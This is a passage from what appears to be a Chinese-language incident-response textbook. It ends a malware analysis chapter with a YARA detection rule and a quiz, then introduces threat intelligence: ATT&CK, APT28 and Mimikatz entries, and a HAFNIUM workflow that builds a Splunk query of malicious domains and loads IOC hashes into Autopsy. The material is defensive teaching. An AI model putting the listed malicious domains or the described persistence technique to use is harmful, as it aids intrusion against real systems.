$x2 = "<assemblyIdentity version=\"1.0.0.0\" processorArchitecture=\"X86\" name=\"Nullsoft.NSIS.exehead\" type=\"win32\"/><description>" ascii
$s3 = "ExecutionLevel level=\"asInvoker\" uiAccess=\"false\"/></requestedPrivileges></security></trustInfo><compatibility xmlns=\"urn:s" ascii
$s4 = " Install System v2.46</description><trustInfo xmlns=\"urn:schemas-microsoft-com:asm.v3\"><security><requestedPrivileges><request" ascii
$s5 = "s-microsoft-com:compatibility.v1\"><application><supportedOS Id=\"{35138b9a-5d96-4fbd-8e2d-a2440225f93a}\"/><supportedOS Id=\"{e" ascii
$s6 = "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?><assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersio" ascii
$s7 = "SHFOLDER" fullword ascii /* Goodware String - occured 37 times */
$s8 = "NullsoftInst" fullword ascii /* Goodware String - occured 89 times */
$s9 = "SeShutdownPrivilege" fullword ascii /* Goodware String - occured 153 times */
$s10 = "mXDZG^H}" fullword ascii
$s11 = "WyUG\"_" fullword ascii
$s12 = "_`.XJn" fullword ascii
$s13 = "nTwZvD#" fullword ascii
$s14 = "gTFeK?" fullword ascii
$s15 = "snBZR_j" fullword ascii
$s16 = "vRPe~VSR" fullword ascii
$s17 = "008deee3d3f0" ascii
$s18 = "]WJgX>kMix" fullword ascii
$s19 = ",ywSvQMQ" fullword ascii
$s20 = "fjUu.$U" fullword ascii
condition:
uint16(0) == 0x5a4d and filesize < 500KB and
1 of ($x*) and 4 of ($s*)
}
在查看规则时,我们可以看到几个突出的关键字符串。首先是 NSIS 加载器在 $x2 = "<assemblyIdentity version=\"1.0.0.0\" processorArchitecture=\"X86\" name=\"Nullsoft.NSIS.exehead\" type=\"win32\"/><description>" ascii 中被识别出来。我们还可以看到在 $s10-$s20 中提取的各种 ASCII 字符串。该规则还使用了文件大小条件。这个条件确保文件大小匹配,从而减少误报。唯一缺少的关键字符串是我们之前在 PEStudio 中检查文件时识别出的 URL。这个 URL 可以很容易地作为额外的字符串添加,如下所示:
$x3 = "http://nsis.sf.net/NSIS_Error" ascii
经过少量后处理后,该规则可以应用于其他系统、磁盘或内存映像,或其他文件,以确定是否存在恶意软件。YARA 已成为一个常用工具,用于识别系统中是否存在恶意软件或漏洞利用程序,因此,分析员在处理恶意软件时应将其包含在工具集中。
总结
本章讨论了事件响应者在进行恶意软件分析时需要关注的各个要素。首先,理解恶意软件的一般概念是必要的,因为它是对手最为常见的威胁。其次,恶意软件分析的技术——静态分析和动态分析——为响应者提供了提取关键数据点的工具和技术。最后,沙箱系统的使用使得响应者可以迅速且受控地深入了解恶意软件的行为和属性。
从多个方面来看,本章仅仅是对恶意软件分析进行了初步探讨。即便拥有静态和动态分析工具,事件响应分析师仍然需要大量技能训练,才能掌握这一高度专业化的数字取证子领域。尽管这可能会很困难,但至少掌握此类分析的基本知识是非常重要的,因为网络犯罪分子和国家级黑客不断利用更复杂的恶意软件。本章通过考察当前常见的恶意软件类型,深入探讨了恶意软件分析。对两种主要分析方法——静态分析和动态分析——的概述,提供了一些关于可用工具的背景信息。我们讨论的工具可以帮助分析师识别恶意软件的行为,从而加以辨识。最后,执行恶意软件可以提供更多细节。
下一章将结合威胁情报与恶意软件分析,以帮助分析师将他们的观察与其他组织的情况联系起来。
问题
回答以下问题来测试你对本章的理解:
-
下列哪一项不是恶意软件类型?
-
木马
-
键盘记录器
-
Rootkit
-
Webshell
-
-
响应者应当创建一个受控环境来进行恶意软件分析。
-
真实
-
错误
-
-
下列哪一项是静态分析的一种类型?
-
运行时行为
-
字符串提取
-
内存寻址
-
恶意软件编码
-
-
下列哪一项是动态分析的一种类型?
-
反汇编
-
已定义的要点
-
Packer 分析
-
工件提取
-
进一步阅读
请参阅以下内容以获取有关本章所涵盖主题的更多信息:
-
一个提供
.pcap文件和恶意软件样本的资源:www.malware-traffic-analysis.net/index.html -
恶意软件独角兽:
malwareunicorn.org/#/ -
MalwareJake:
malwarejake.blogspot.com/ -
Florian Roth 的 GitHub 账户:
github.com/Neo23x0/
第十七章:利用威胁情报
事件响应的一个重要领域,对组织应对网络攻击能力产生了显著影响的是使用网络威胁情报,或简而言之,威胁情报。网络威胁情报这一术语涵盖了广泛的信息、数据点和技术,使分析师能够识别网络中的攻击类型,作出适当响应,并为未来的攻击做好准备。为了能够有效利用这一能力,信息安全分析师应对各种术语、方法论和工具有扎实的基础,这些工具可以与威胁情报结合使用。如果分析师能够利用这些数据,他们将在采取主动安全措施时处于更有利的位置,并且在发生安全事件时,能够更高效地做出响应。
本章关于网络威胁情报的讨论将涵盖以下关键主题:
-
威胁情报概述
-
威胁情报来源
-
MITRE ATT&CK 框架
-
与 IOC 合作
-
威胁情报与事件响应
威胁情报概述
就像信息安全和事件响应中的一些术语一样,威胁情报有些模糊。政府和学术界等不同组织生产的信息和数据,通常被吹捧为威胁情报。各种商业提供商也有可用的信息,无论是通过免费的还是付费订阅,声称是威胁情报。这常常导致确定什么是威胁情报,什么只是简单的数据或信息时的困难。
确定威胁情报组成部分的一个良好起点是使用定义。以下是 Gartner 研究公司对威胁情报的定义:
“威胁情报是基于证据的知识,包含背景、机制、指标、影响以及可操作的建议,关于现有或新兴的威胁或危险,能够用于指导决策,以应对该威胁或危险。”
在检查此定义时,有几个关键要素需要具备,数据或信息才能被视为威胁情报:
-
基于证据:本章将探讨通过其他过程(如恶意软件分析)获得的证据如何产生威胁情报。任何情报产品要有用,必须首先通过适当的证据收集方法获得。通过这种方式,依赖这些情报的分析师可以确保其有效性。
-
实用性:为了使威胁情报对安全事件的结果或组织的安全态势产生积极影响,它必须具有某种实用性。情报必须在背景和数据方面提供清晰的信息,帮助分析师判断是否正在根据类似性质的其他事件来评估某个事件。
-
可操作性:将数据或信息与威胁情报区分开来的关键要素是行动。情报应该推动行动,无论是特定事件的顺序,还是特定事件聚焦领域,或是针对组织最可能面临的网络威胁实施特定的安全控制。
为了更好地理解这一点,假设一个场景,医疗机构的事故响应团队试图确定哪些类型的攻击最可能发生在其基础设施上。关于网络犯罪分子试图窃取数据的模糊数据并无帮助。这些数据集没有具体的上下文或信息,最终的结果是组织无法将这些信息付诸实践。
另一方面,假设事故响应团队利用第三方威胁情报提供商,并且该第三方详细说明了一个特定的犯罪团伙名称。该提供商还指出,这些团伙目前正通过电子邮件将 PDF 文件发送给医院员工。这些 PDF 文件包含了由 C2 服务器控制的远程访问木马,C2 服务器分布在欧洲。第三方还提供了恶意软件的 MD5 文件哈希值、C2 服务器的 IP 和域名地址,以及与 PDF 文件最相关的文件名。
拥有这些信息后,事故响应团队可以调整他们的安全控制措施,防止电子邮件中的 PDF 附件被打开。他们还可以利用工具搜索他们的基础设施,确定是否已经发生感染。最后,他们还可以配置事件管理解决方案,以便在网络中的任何主机试图与 C2 服务器通信时发出警报。
这两种情况之间的主要区别在于,后一种情况推动了组织内部的行动。在第一种情况下,信息模糊且无用,导致组织没有得到任何改善。在第二种情况下,团队可以执行特定的行动来预防不利情况,或为应对某种情况做好准备。
威胁情报是对网络威胁行为者复杂性和技术水平增加的回应。威胁情报的重点是以下威胁行为者群体:
-
网络犯罪分子:有组织且技术娴熟,网络犯罪分子对银行、零售和其他组织造成了多种金融犯罪。这些团伙的动机纯粹是雇佣性质,他们的目标是获取可以变现的数据。例如,针对零售商如好市多和塔吉特的攻击,涉及盗窃信用卡数据,目的是在暗网或其他黑市上出售这些数据。
-
黑客行为主义:像匿名者和伊德利布烈士旅这样的组织是黑客团体,他们攻击大型企业、政府,甚至宗教机构,以推动政治事业。渗透网络以获取机密数据进行公开或发动拒绝服务攻击,都是为了实现政治目标,而非金钱目的。
-
网络间谍活动:像美国、俄罗斯、中国、伊朗和朝鲜这样的国家,持续从事渗透网络和获取情报的间谍活动。Stuxnet 病毒是最著名的网络攻击之一,据称是由美国和以色列发起的。
理解威胁情报的另一个关键要素是高级持续性威胁(APT)的概念。APT 这一术语大约已有十年历史,用来描述那些能力和动机远超网络犯罪分子或网络破坏者的网络威胁行为者。APT 组织通常会有明确的目标,针对某些组织进行长期的攻击。正如 APT 一词所描述的,这些组织具有以下特征:
-
高级:APT 威胁行为者拥有高级技能。这些技能通常涉及超出开放资源方法所能获取的情报收集能力。包括影像情报(IMINT),它包括通过像 Google Earth 这样的站点获取的图片;信号情报(SIGINT),即通过窃取使用电话基础设施、移动数据或无线电信号的语音和数据通信来收集的情报;最后,APT 组织可以利用人类情报(HUMINT),即通过与人类信息源互动来获取情报。此外,这些组织不仅能使用先进的网络渗透工具,还擅长发现零日漏洞,并开发专门针对这些漏洞的定制恶意软件和漏洞利用工具。
-
持续性:APT 威胁行为者专注于一个明确的目标,并且通常会放弃其他机会以便更接近实现目标。APT 威胁行为者往往会花费数月甚至数年时间,通过智能化利用漏洞,持续进行攻击,避免被检测机制发现。APT 威胁行为者与其他威胁行为者的一个关键区别在于他们的意图是长时间保持在目标网络内。虽然网络犯罪团伙可能会停留足够长的时间以下载一整个包含信用卡信息的数据库,但 APT 团伙会尽可能长时间地保持对网络的访问权限。
-
威胁:对于面临 APT(高级持续性威胁)组织的企业来说,它们无疑是一种威胁。APT 威胁行为者进行攻击时通常有明确的目标,并具备所需的基础设施和技能,能够攻击像大型企业、军队和政府组织这样的目标。
威胁情报是一个广泛的研究领域,涵盖了许多互相关联的元素。最终,威胁情报应该推动组织采取行动。这种行动通常是在对威胁情报进行仔细评估后决定的。评估过程中包括理解正在审查的威胁情报类型,以及这些类型为组织提供的每种优势。
威胁情报类型
在讨论构成威胁情报的各种信息类型和数据集时,它们通常会归入以下三大类之一:
-
战术威胁情报:这是三种威胁情报类别中最细粒度的一种。此类别中的信息涉及妥协指示符(IOCs)、攻击指示符(IOAs)或战术、技术和程序(TTPs):
-
IOCs:IOC 是系统上观察到的工件,表明系统遭受了某种形式的妥协。例如,C2(命令与控制)IP 地址或恶意文件的 MD5 哈希值都是 IOCs。
-
IOAs:IOA 是系统上观察到的一种工件,表明存在攻击或攻击尝试。它与 IOC 有所不同,因为 IOA 并不表示系统已被攻破,而是表明系统受到了攻击,这是由于攻击者在攻击系统时留下的指示。例如,防火墙日志中可能留下的连接尝试,表明使用 Nmap 或其他网络扫描工具进行了自动端口扫描。
-
TTPs:人类是习惯的动物,因此,网络攻击者通常会开发出独特的攻击网络方法。例如,一个网络犯罪团伙可能偏好发送一封带有 Excel 电子表格的社交工程邮件,该电子表格会执行远程访问木马。从那里,他们可能会尝试访问信用卡销售点(POS)设备,并将另一种恶意软件感染到其中。该团伙执行这种攻击的方式就是他们的 TTPs。
-
-
操作性威胁情报:过去十年,越来越多的协调性攻击不仅仅针对单个组织,而是可能针对整个行业、地区或国家。操作性威胁情报是关于网络攻击和网络威胁行为者的更广泛目标的数据和信息。这通常不仅仅涉及分析事件响应团队所在组织,还需要分析网络威胁行为者是如何攻击更大的行业。例如,在之前的例子中,医疗机构的事件响应人员准备应对一场攻击,了解类似规模和人员配置的医疗机构遭遇的攻击类型将有助于他们调整自己的安全控制措施以应对普遍存在的威胁。
-
战略威胁情报:高级领导层如 CIO 或 CISO 通常必须关注组织的战略目标,并采取必要的控制措施,以确保组织能够应对网络威胁形势。战略威胁情报分析网络攻击趋势、当前流行的网络威胁行为者以及主要目标行业。其他关键数据点包括威胁行为者或团体在攻击中可能利用的技术变化。
威胁情报的最佳利用方式是理解这些类型的情报如何整合到整体战略中。利用所有三种类型的内部和外部威胁情报,能帮助决策者了解威胁形势,帮助管理者实施适当的安全控制和程序,帮助分析员识别正在发生的安全问题或准备应对网络攻击。
痛苦金字塔
用于描述对手可能利用的各种类型的 IOC(入侵指示器)和 IOA(入侵行动指示器)以及他们在攻击过程中修改这些指示器的能力的有用模型是痛苦金字塔。这个模型由 David Bianco 开发,描述了防御者通过观察攻击者的行为以及攻击者修改这些指示器的能力之间的关系。下图展示了各种指示器与修改它们以绕过安全控制所需工作量之间的关系:
图 17.1 – 痛苦金字塔
例如,攻击者可能设计了一种恶意软件,通过 Windows SMB 协议进行横向传播。为了绕过传统的基于签名的恶意软件防护工具,攻击者使用了一种变种病毒,每次安装时其哈希值都会发生变化。这种变化使得恶意软件能够绕过该防护措施。其他指示器,如网络或主机遗留物,对于攻击者来说更难以更改,因此响应人员通过在金字塔的顶部层次对齐安全控制,可以更大程度上成功阻止攻击。
从威胁情报的角度来看,“痛苦金字塔”允许响应人员将威胁情报需求与长期战略中有用的信息对齐。了解威胁行为者使用的 TTP(战术、技术和程序)的详细信息和情报,将提供更多关于威胁行为者操作方式的见解。较低级别的指示器,如 C2 服务器的 IP 地址,虽然有用,但响应人员需要明白,这些可以被对手轻易更改。
威胁情报方法论
威胁情报经历一个反馈周期,以跟上不断变化的环境。虽然有多种方法可以为这个挑战提供上下文,但美国国防部使用的情报周期是一个常用的模型。这个周期为组织提供了一个框架和起点,使其能够将威胁情报融入到运营中:
图 17.2 – 情报周期
各个阶段的解释如下:
-
方向:决策者,如 CISO(首席信息安全官)、信息安全人员或事件响应分析师,设定所需的威胁情报。在确定情报需求时,最好识别每种威胁情报类型的使用者。例如,CISO 可能想要了解预计明年对医院的网络攻击趋势。事件响应分析师可能需要知道其他医疗机构中正在看到哪些恶意软件的 IOC(指标)。组织也可以从查看正在使用的关键系统和应用程序入手,以及它们试图保护的关键数据。另一个好的起点是,如果组织已经掌握了一些关于可能面临的网络威胁的信息。
-
收集:在收集阶段,组织从其来源获取数据和信息。在网络威胁情报方面,这可以来自政府组织,如政府支持的 CERT,或通过出售经过筛选和分析的威胁情报的商业组织。最后,组织还可以利用大量的开源情报(OSINT)源。例如,像 VirusTotal 和 Malware Bazaar 这样的恶意软件网站会向更大的网络安全和响应社区提供 IOCs 和完整示例。还有像 AlienVault 这样的供应商提供可以搜索 IOC 的完整平台。商业实体也会向社区提供一些威胁情报。OSINT 对于刚起步且需要展示威胁情报价值的组织来说,非常有价值,而不会让其破产。此外,OSINT 还可以作为组织整体情报收集的重要组成部分。
-
处理:组织可能获得的情报量庞大。在处理阶段,组织将原始数据进行评估,确定数据的相关性和可靠性,然后将其整理好,进入下一步。
-
分析:在分析阶段,组织评估已处理的数据,并将其与其他来源的数据结合。从这里开始,数据被解读,最终的产品可以被视为精心整理或正确评估的威胁情报。
-
传播:新整理的威胁情报随后会发送给组织内的各个用户使用。
这一方法论的循环特性确保反馈成为过程的一部分。参与收集和处理的分析师应确保他们能够获得有关传播情报的相关性和真实性的反馈。从这里开始,他们可以随着时间的推移调整情报产品。这确保了最终用户消耗的情报在相关性和准确性上的最高水平。
现在我们已经涵盖了威胁情报的基础元素,让我们来看看如何获取这些数据。
获取威胁情报
一个组织可以利用三种主要的威胁情报来源。威胁情报可以通过组织内部流程生成,通过开源方法获取,或者最终通过第三方威胁情报供应商获得。每个组织可以利用自己的内部流程来确定其需求和需要利用的来源。
内部开发的来源
最复杂的威胁情报来源是组织内部开发的情报。这是由于获取恶意软件活动中的各个 IOC(指标)和威胁行为者的 TTP 所需的基础设施。为了获得 IOC,组织可以利用蜜罐或其他故意存在漏洞的系统来获取独特的恶意软件样本。他们还需要具备评估可疑恶意软件并进行逆向工程的专业知识和系统。之后,他们就能够提取个别的 IOC,进而加以利用。
其他系统,如 SIEM 平台,可以用来跟踪攻击者在尝试渗透网络时的 TTP(战术、技术和程序)。从这里,安全运营中心(SOC)分析员可以记录不同攻击者如何进行渗透尝试。通过这些信息,组织可以建立特定团体的画像。这有助于将安全控制措施与网络入侵的预防或检测更好地对齐。
在内部开发威胁情报需要具备恶意软件分析、网络和主机取证等领域的专业知识。此外,所需的基础设施通常是昂贵的。因此,组织通常被迫依赖第三方供应商或其他组织公开分享的信息。
商业采购
内部获取的替代方案是与威胁情报供应商签订合同。这些组织利用他们的人员和基础设施来获取恶意软件、分析攻击并对各种威胁团体进行研究。商业威胁情报提供商通常会处理威胁情报,以便针对单个客户组织量身定制。
通常,商业供应商会为多种客户提供 SIEM 和 SOC 服务,利用一个通用的 SIEM 平台。在这里,他们可以汇总来自全球各个企业的恶意软件样本和攻击数据。这使他们能够为客户提供全面的产品。这是使用商业服务的一个显著优势,除此之外,还能通过将费用转移给第三方来节省成本。
开源情报
已经成为各种规模组织非常流行的一个信息来源区域是 OSINT 提供者。社区团体甚至商业企业向更广大的网络社区免费提供威胁情报。像 SANS 和 US-CERT 这样的团体提供有关威胁和漏洞的具体信息。商业提供者如 AlienVault 提供了一个开放威胁交换(OTX),允许用户社区分享威胁情报,如 IOC 和 TTP。其他商业组织提供 APT 组或信息安全行业新兴趋势的白皮书和报告。根据组织的不同,OSINT 通常非常有用,并提供了一个低成本的替代商业服务的选择。
开源情报(OSINT)的广泛应用导致各种组织创建了方法来跨组织共享威胁情报。根据信息源,组织获取威胁情报的实际方式取决于其配置方式。
虽然并非完全详尽的列表,但以下是一些可用的网络威胁 OSINT 格式:
-
OpenIOC:OpenIOC 最初是为了 Mandiant 产品可以摄取威胁情报并利用它在分析系统上搜索妥协证据而开发的。它已经发展成为描述技术 IOC 的 XML 架构,供事件响应人员在确定系统是否受到侵害时使用。
-
STIX:结构化威胁信息表达(STIX)是 OASIS 联盟的产品。这种机器可读格式允许组织在各种商业和免费软件威胁情报聚合平台之间共享威胁情报。
-
TAXII:可信自动化情报信息交换(TAXII)是一种应用层协议,通过 HTTPS 共享威胁情报。TAXII 定义了一个 API,可用于以 STIX 格式分享威胁情报。
-
VERIS:事件记录和事件分享词汇(VERIS)是一种用于标准化网络安全事件语言的综合架构。VERIS 试图解决的一个主要问题是缺乏标准的安全事件文档化方式。VERIS 提供了一种结构,使组织能够定义分类可能发生的各种攻击方式。VERIS 架构还作为组织提供的数据收集点,这些数据被纳入到 Verizon 数据泄露研究中。
随着各种情报来源的出现,一个面临的挑战是组织聚合、组织和利用威胁情报的能力。在下一节中,威胁情报平台的讨论将提供解决这些问题的见解。
MITRE ATT&CK 框架
回顾上一节的“痛苦金字塔”讨论,我们可以看到在最顶部的是对手使用的 TTP(战术、技术和程序)。修改这些内容需要对手额外的资源和时间。从威胁情报和缓解的角度聚焦于 TTP 也能为防御者提供更好的保护,因为检测不依赖于可以轻易修改的指示符(如域名或 IP 地址)。
MITRE 公司创建了对抗战术、技术与常识(ATT&CK)知识库,网址为attack.mitre.org/。该知识库整合了对手的手艺、战术、技术和行为,涵盖了网络攻击的各个阶段。该项目于 2013 年 9 月启动,到写作时,已经更新到了第九个版本。
ATT&CK 知识库最初专注于 Windows 操作系统,但在其发展过程中,也加入了针对 macOS 和 Linux 的恶意活动。MITRE 还将一些前期攻击技术(如资源开发和侦察)纳入了知识库。最后,MITRE 最近也将对手用于攻陷移动设备的战术和技术纳入了知识库。
该行为模型有三个核心组成部分。第一个组成部分是战术。这十四个单独的战术代表了对手在攻击序列中的目标。例如,我们来看 MITRE 定义的持久性战术,见以下截图:
图 17.3 – MITRE ATT&CK 持久性
MITRE 将“持久性”定义为对手试图保持其立足点。这一定义进一步扩展为下一个组成部分:技术。技术是对手为了实现整体战术目标而使用的手段和方法。例如,对手可以利用启动或登录脚本来维持持久性,正如 MITRE ATT&CK 技术T1037在以下截图中所示:
图 17.4 – MITRE ATT&CK 技术 T1037
技术描述不仅提供了定义,还包括其他关键资源。例如,数据源字段展示了事件响应者和数字取证分析员可能的证据来源,用以确认该技术的使用情况。常见攻击模式枚举与分类标识(CAPEC)ID 将 MITRE ATT&CK 框架与MITRE CAPEC进行了交叉引用。CAPEC,网址为capec.mitre.org/,提供了对手攻击模式的详细信息。
MITRE ATT&CK 框架中的许多技术也包含子技术。这些子技术提供了对对手在执行技术时使用的各种方法和工具的更细致的观察。例如,如果我们进一步深入,我们会看到条目ID T1037.001,如下图所示:
图 17.5 – MITRE ATT&CK T1307.001 程序示例
这为威胁行为者使用的战术和技术提供了现实世界的背景。例如,在这种情况下,我们看到威胁群体HKCU\Environment\UserInitMprLogonScript注册表键用于在系统中保持持久性。
除了战术和技术,MITRE ATT&CK 框架还充当了恶意工具和威胁行为者群体的汇总。例如,我们确定了 APT28 使用特定的工具来保持持久性,但我们可能甚至不知道 APT28 是谁或是什么。通过技术部分中的链接,我们看到 MITRE ATT&CK 框架包含了对威胁行为者的概述、其起源、别名,以及它执行的高调攻击回顾。
图 17.6 – APT28 概况
在讨论别名时,将战术和技术与群体联系起来有几个挑战。首先,群体可能会在一次行动后出现然后消失。个人可能会变化。最后,像 FireEye 和 RecordedFuture 这样的威胁情报研究人员有他们自己的命名法来描述群体。如我们在前面的例子中所见,APT28 也可能与其他群体有关联。MITRE 提供了更详细的群体及其相关命名的细分。
图 17.7 – APT28 相关群体描述
深入档案,我们可以看到该群体在执行攻击时使用的战术和技术列表。
图 17.8 – APT28 使用的技术
除了 APT28 被证明使用的战术和技术,MITRE 还包括了特定的工具,如利用框架、恶意软件和漏洞利用工具,例如使用凭证收集工具,如下图所示:
图 17.9 – Mimikatz 工具使用
你可能已经推测到,我们可以通过 Mimikatz 条目来更好地理解该工具本身。如果你有这个想法,你是正确的。点击Mimikatz会展示该工具的概述。
图 17.10 – Mimikatz 工具概况
除了提供一个易于搜索的界面,使威胁情报专业人员能够交叉引用工具、技术和战术外,该框架还被仔细注释。包含的信息源材料可以通过超链接轻松搜索和访问,这样在分析需要回顾源材料时,可以节省时间和资源。
ATT&CK 框架还包括一个导航器,可以轻松查看其中包含的各种战术、技术和工具。可以通过网址 mitre-attack.github.io/attack-navigator/v2/enterprise/ 访问该导航器。该网站在顶部行列出战术,在列中列出相应的技术,如以下截图所示:
图 17.11 – ATT&CK Navigator
导航器还具有多个控制项,允许用户与该工具进行互动。在这种情况下,图 17.12展示了可用的各种控制项:
图 17.12 – ATT&CK Navigator 控制
例如,我们将使用多选功能突出显示 APT28 组使用的技术。首先,点击选择控制下的带有加号的汉堡图标,如图 17.13所示。这将显示以下菜单:
图 17.13 – ATT&CK Navigator 多选功能
下拉菜单包含 ATT&CK 框架中包含的威胁组和软件的情报。向下滚动威胁组至APT,然后点击选择。这将为与该组相关的技术添加边框。接下来,点击层控制下的颜色调色板:
图 17.14 – ATT&CK Navigator 调色板控制
调色板允许您更改各种技术的背景颜色。在这种情况下,我们只检查一个层,因此在0到1之间突出显示 APT28 技术为红色。
下一步是设置评分,以显示 APT28 的技术。通过点击技术控制下的条形图图标访问评分菜单:
图 17.15 – ATT&CK Navigator 技术控制评分
在评分下输入数字 1,然后点击Enter。这将高亮显示红色技术。此时,您可以通过右键点击特定技术并点击查看技术来探索导航器。这将带您到特定技术的页面,如我们之前所见。
我们现在要查看的最后一个功能是能够下载与 APT28 相关的技术。在图层控制下,你可以通过向下箭头图标下载 JSON 文件,通过图表图标下载 逗号分隔值(CSV)文档,最后,通过相机图标下载图片。
图 17.16 – ATT&CK Navigator 捕获选项
点击相机图标会在 Navigator 中打开第二个标签页。在最右侧,可以下载该图像的副本。
图 17.17 – ATT&CK Navigator APT28 战术与技术
ATT&CK 框架是一个极好的资源,可以深入了解威胁行为者使用的战术、技术和工具。自其诞生以来,这一框架已经与组织的威胁情报和事件响应报告紧密结合,迅速成为组织定义其观察结果的标准。
处理 IOCs 和 IOAs
许多组织在开始利用威胁情报的过程中常犯的一个常见错误是,仅仅订阅一些商业或开源数据源并启用它们。这种做法会导致企业迅速被大量数据淹没。大多数数据对组织来说是无法使用的。现实情况是,分析师和其他相关人员应当通过制定哪些数据对其组织相关来筛选数据,并使用能够提供最佳相关数据的来源。
在这种情况下,我们将重点关注 OSINT 来源。有几家商业公司,如 CrowdStrike 和 AlienVault,提供 IOC 和 IOA 给社区。其他网站则专注于为网络安全社区提供服务,而没有商业组件。以下是分析师可以利用的一些资源:
-
AlienVault 开放威胁交换平台(OTX):该网站可通过
otx.alienvault.com/访问,聚合了来自商业企业(如 Cisco Talos 和 Palo Alto Unit 42)以及全球独立研究人员的指标和威胁情报报告。这些情报被汇总后,用户可以根据关键词、IOC,甚至特定威胁行为者进行搜索。 -
VirusTotal:IOC 的关键来源之一是 VirusTotal。该网站,
www.virustotal.com/,以及相关数据由 Google 拥有和运营,毫无疑问,当涉及到恶意软件情报时,它是分析师和响应者首选的地方。 -
Hybrid Analysis:Hybrid Analysis,网址为
www.hybrid-analysis.com/,由 CrowdStrike 运营。防病毒和 EDR 提供商的一个独特特点是,由于它们在各类组织中的广泛存在,它们通常拥有大量的恶意软件 IOC。Hybrid Analysis 结合了恶意软件沙箱和 IOC 数据库,允许用户同时分析样本并搜索现有样本。 -
abuse.ch提供与僵尸网络和恶意软件相关的 IOC 的子域集合。
这四个站点只是提供 IOC 资源的冰山一角,但它们为制定有针对性的收集计划提供了坚实的基础。这四个站点都提供社区账户,具有最基本的功能,但这些功能仍然非常有用。它们还包括对关键词、IP 地址和文件哈希值的搜索。另一个分析人员关注的功能是 API,它允许通过脚本或其他编程方式查询数据库。我们将在本章后面看看如何利用这一功能。
要访问这些站点,分析人员只需要提供一个电子邮件地址和密码。一种减轻压力的技巧是创建一个仅用于威胁情报站点的专用电子邮件地址。许多这些站点会发送通知,有时每天会有数十条警报。使用一个专门用于访问这些站点并汇总警报的电子邮件帐户,可以避免不断清理主电子邮件帐户。
超棒的威胁情报来源
有一些网站专门聚合了专门提供 IOC 和 IOA(指示器和攻击行为)的站点,供更广泛的社区使用。也有像github.com/hslatman/awesome-threat-intelligence这样的 GitHub 仓库,可以用来制作收集源。同样,使用时需要小心,不要尝试收集过多的数据。
现在我们已经概述了一些来源,让我们看一个示例工作流,在该工作流中,IOC 从威胁情报站点获取并投入实际使用。在这个例子中,一位分析人员希望获取与 HAFNIUM 相关的威胁情报,并通过日志或其他证据搜索其系统是否已被攻击。
在这个例子中,我们将利用 AlienVault OTX。搜索关键字HAFNIUM会显示多个结果。在这种情况下,我们将查看以下链接:otx.alienvault.com/pulse/6127557db7ec02a119d8c23d。
导航到该 URL 将显示以下截图中的参考资料:
图 17.18 – HAFNIUM 情报来源
下面是列出的 IOC 参考:
图 17.19 – HAFNIUM IOCs
要使用这些 IOCs,我们需要先下载它们。在页面的右上角有一个 下载 按钮。此按钮允许用户以多种格式下载文件,例如 STIX、OpenCTI 和 CSV 文件。在此,下载一个 CSV 文件。
图 17.20 – IOC 下载
下载完成后,访问网站 cti.uncoder.io/。该网站由 SOC Prime 提供给社区,能够将下载中的 IOCs 转换为 SPLUNK 查询。在此,点击 上传 IOCs 并导航到已下载的 AlienVault CSV 文件:
图 17.21 – CTI Uncoder 上传
现在 IOCs 已经下载完成,我们可以使用 Uncoder CTI 构建一个 SPLUNK 查询来搜索与 HAFNIUM 相关的任何匹配域名。在此,点击 根据 IOC 类型生成查询,选择 域名。在 查询平台 中,选择 SPLUNK。其余设置可以保持默认。点击 生成,将生成以下 SPLUNK 查询:
(dest_host="api.onedvirer.xyz" OR dest_host="rawfuns.com" OR dest_host="yolkish.com" OR dest_host="back.rooter.tk" OR dest_host="lab.symantecsafe.org" OR dest_host="mm.portomnail.com" OR dest_host="ns.rtechs.org" OR dest_host="p.estonine.com" OR dest_host="soft.mssysinfo.xyz" OR dest_host="www.averyspace.net" OR dest_host="www.komdsecko.net")
然后可以针对分析员的数据集运行此查询,以查找任何匹配的结果。
这是一个简单的工作流程,但展示了社区或 OSINT 来源提供的原始 IOCs 或 IOAs 如何用于查询和其他调查任务。在此基础上,我们将探讨如何具体利用 IOCs 进行事件响应和数字取证工作,作为调查的一部分。
威胁情报与事件响应
在调查过程中,CSIRT 或分析员可能会遇到事故调查似乎陷入停滞的情况。这可能是因为分析员知道某些地方出问题了,或者有妥协的指示符,但没有具体的证据指向某个特定方向。分析员可以利用威胁情报来增强发现之前未被发现的证据的能力。
Autopsy
许多现有的取证工具可以吸收威胁情报来帮助事件响应分析员。例如,磁盘取证平台(在 第十一章中讨论)可以从威胁情报源中吸收哈希值来搜索 IOCs。除了商业磁盘取证工具外,Autopsy 平台还可以针对哈希集进行搜索。例如,我们可以导入在上一节中分析的 HAFNIUM Pulse 的 MD5 哈希值。在这种情况下,我们将从下载的 CSV 文件中提取 MD5 哈希值,如下图所示,并将其输入到 Autopsy 中。
图 17.22 – IOC CSV 文件
从这里,哈希值可以加载到 Autopsy 中:
- 首先,打开 Autopsy,然后从首页点击 工具,再点击 选项。找到 哈希集 图标并点击它:
图 17.23 – Autopsy 哈希集上传
- 点击新建哈希集,将出现以下窗口:
图 17.24 – 创建哈希集
-
为哈希集数据库输入一个名称。在这种情况下,
HAFNIUM是一个很好的选择,因为这些哈希文件与利用该漏洞的攻击相关。点击另存为,将打开资源管理器窗口。这是为将要创建的数据库提供位置。可以保留默认位置。点击确定。 -
在下一个窗口中,点击将哈希添加到数据库。将出现一个窗口,允许输入哈希值。从 HAFNIUM 情报报告中复制 MD5 哈希值并粘贴到该窗口中:
图 17.25 – 哈希值
- 点击确定,在哈希值成功添加后,应该会出现以下窗口。点击确定:
图 17.26 – 哈希集上传
- 在最后一个屏幕上,点击应用,然后点击确定。此时,哈希值已加载到数据库中。
这个功能允许分析师在磁盘镜像中搜索匹配的哈希值。这比通过其他方法寻找文件更为高效。Autopsy 还允许根据事件使用不同的数据库。不断更新的信息输入功能使分析师能够找到那些一两周前发生的事件中新型攻击的证据,而如果使用传统的搜索方法,这些证据可能会被忽视。
Maltego
一个有用的工具,用于搜索与 IOC(指标对象)相关的各种情报来源,是 Maltego。该工具利用转换将平台连接到第三方来源,如 VirusTotal。这使得分析师能够搜索各种来源,以获取关于指示器(如文件哈希、IP 地址或域名)的额外上下文。Maltego 有多个定价层级,但开发 Maltego 的公司 Paterva 提供了一个社区版,您可以在www.maltego.com/downloads/下载。
下载后,您需要提供电子邮件地址和密码以配置帐户。安装并登录后,以下屏幕将出现:
图 17.27 – Maltego 图形用户界面
